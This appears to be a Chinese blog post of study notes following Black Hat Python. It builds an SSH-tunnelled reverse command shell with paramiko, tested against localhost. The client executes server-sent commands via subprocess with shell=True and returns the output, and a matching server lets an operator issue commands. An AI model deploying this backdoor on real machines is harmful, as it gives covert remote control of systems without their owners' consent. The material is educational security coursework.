使用我们编写的bhnet工具介绍和发送数据非常方便,但有时候需要通过加密流量来避免,这是更明智的选择。最常用的办法就是使用secure shell(SSH)发送流量。
paramiko是用python语言写的一个模块,遵循SSH2协议,支持以加密和认证的方式,进行远程服务器的连接。paramiko支持Linux, Solaris, BSD, MacOS X, Windows等平台通过SSH从一个平台连接到另外一个平台。利用该模块,可以方便的进行ssh连接和sftp协议进行sftp文件传输。
这个例子就是使用Paramiko库中的PyCrypto。
首先安装Paramiko:
[email protected]:~# pip install paramiko
Requirement already satisfied (use --upgrade to upgrade): paramiko in /usr/lib/python2.7/dist-packages
Requirement already satisfied (use --upgrade to upgrade): pycrypto>=2.1 in /usr/lib/python2.7/dist-packages (from paramiko)
Cleaning up...
这个版本自带了,不用再安装。
接下来创建一个新用户,再执行书上代码之前,要先做如下准备工作:
启动ssh服务
[email protected]:~# service ssh start
[ ok ] Starting OpenBSD Secure Shell server: sshd.
生成秘钥:
ssh-****** -t dsa -f /etc/ssh/ssh_host_dsa_key
添加用户:
https://blog.csdn.net/u010726042/article/details/73565068
我是参照这个老哥的方法创建好的,其中有个问题就是输密码的时候,是看不见东西的。跟着提示输两遍就可以了。
https://jingyan.baidu.com/article/380abd0a10b3791d90192cef.html
参照下这个
接着看下刚刚创好的用户:
[email protected]:~# id theKing
uid=1001(theKing) gid=1002(theKing) groups=1002(theKing)
把这个用户加到SSH服务器:
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print ssh_session.recv(1024)
return
ssh_command('127.0.0.1', 'theKing', 'lebron', 'id')
必须要先创建用户,和打开SSH服务器,这个代码才能运行。
[email protected]:~/test# python bh_sshcmd.py
uid=1001(theKing) gid=1002(theKing) groups=1002(theKing)
接下来改良一下这个代码:
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command,port = 80):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port,username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print ssh_session.recv(1024)
while True:
command =ssh_session.recv(1024)
try:
cmd_output = subprocess.check_output(command,shell=True)
ssh_session.send(cmd_output)
except Exception,e:
ssh_session.send(str(e))
client.close()
return
ssh_command('127.0.0.1', 'theKing', 'lebron', 'ClientConnected',80)
这个代码跟书上相比多加了端口号,因为我按书上的代码监听不到,参考了这位老哥的方法。https://www.cnblogs.com/20179204gege/p/9193616.html
接着写服务器端:
import socket
import paramiko
import threading
import sys
host_key = paramiko.RSAKey(filename='/etc/ssh/ssh_host_rsa_key')
class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'theKing') and (password == 'lebron'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print '[+] Listening for connection ...'
client, addr = sock.accept()
except Exception, e:
print '[-] Listen failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection!'
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH negotiation failed.'
chan = bhSession.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
chan.send('Welcome to bh_ssh')
while True:
try:
command = raw_input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Caught exception: ' + str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)
这里碰到一个问题,就是书上的代码,Paramiko示例文件的秘钥是在
host_key = paramiko.RSAkey(filename=‘test_rsa.key’) 这句话我显示找不到文件。
然后把文件路径改为刚刚生成秘钥那个路径就可以了。
运行结果:
在一个终端里打开服务器:
在另一个终端里打开客户端:
然后在服务器端里输入命令,得到反馈结果:
输入exit退出服务器端: